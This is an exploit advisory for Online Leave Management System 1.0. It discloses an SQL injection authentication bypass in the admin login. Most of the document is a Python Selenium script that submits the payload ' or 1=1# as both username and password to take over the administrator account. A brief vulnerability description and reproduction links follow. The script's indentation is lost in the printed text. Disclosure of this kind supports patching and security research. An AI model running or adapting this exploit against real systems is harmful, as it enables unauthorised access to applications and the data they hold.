Online Leave Management System 1.0 SQL Injection

`### Exploit Title: OLMS - PHP (by: oretnom23 ) v1.0  
SQL-Injection-Bypass-Authentication in /leave_system/classes/Login.php.  
### Author: nu11secur1ty  
### Testing and Debugging: nu11secur1ty  
### Date: 08.31.2021  
### Vendor:  
https://www.sourcecodester.com/php/14910/online-leave-management-system-php-free-source-code.html  
### Link:  
https://www.sourcecodester.com/php/14910/online-leave-management-system-php-free-source-code.html  
### CVE: CVE-nu11-03  
  
[+] Exploit Source:  
  
#!/usr/bin/python3  
# Author: @nu11secur1ty  
# Debug and Developement: @nu11secur1ty  
# CVE-nu11-03  
  
from selenium import webdriver  
import time  
  
  
#enter the link to the website you want to automate login.  
website_link="http://localhost/leave_system/admin/login.php"  
  
#enter your login username  
username="nu11secur1ty' or 1=1#"  
  
#enter your login password  
password="nu11secur1ty' or 1=1#"  
  
#enter the element for username input field  
element_for_username="username"  
#enter the element for password input field  
element_for_password="password"  
  
browser = webdriver.Chrome()  
browser.get((website_link))  
  
try:  
username_element = browser.find_element_by_name(element_for_username)  
username_element.send_keys(username)  
password_element = browser.find_element_by_name(element_for_password)  
password_element.send_keys(password)  
browser.maximize_window()  
time.sleep(1)  
browser.execute_script("document.querySelector('[class=\"btn btn-primary  
btn-flat btn-sm\"]').click()")  
  
print("The payload for CVE-nu11-03 is deployed...\n")  
  
except Exception:  
#### This exception occurs if the element are not found in the webpage.  
print("Some error occured :(")  
  
  
------------------------------------------------------------------  
  
### Remote vulnerable link execution:  
http://localhost/leave_system/admin/login.php  
  
### Description:  
The OLMS - PHP (by: oretnom23 ) v1.0 in the application  
/leave_system/classes/Login.php from SQL-Injection-Bypass-Authentication  
m0re info:  
https://portswigger.net/support/using-sql-injection-to-bypass-authentication.  
  
The parameter (username) from the login form is not protected correctly and  
there is no security and escaping from malicious payloads.  
When the user will sending a malicious query or malicious payload to the  
MySQL server he can bypass the login credentials and take control of the  
administer account.  
  
### Reproduce:  
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/CVE-nu11-03  
### Proof: https://streamable.com/0i84gn  
### BR nu11secur1ty  
  
--   
System Administrator - Infrastructure Engineer  
Penetration Testing Engineer  
Exploit developer at https://www.exploit-db.com/  
https://www.nu11secur1ty.com/  
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=  
nu11secur1ty <http://nu11secur1ty.com/>  
`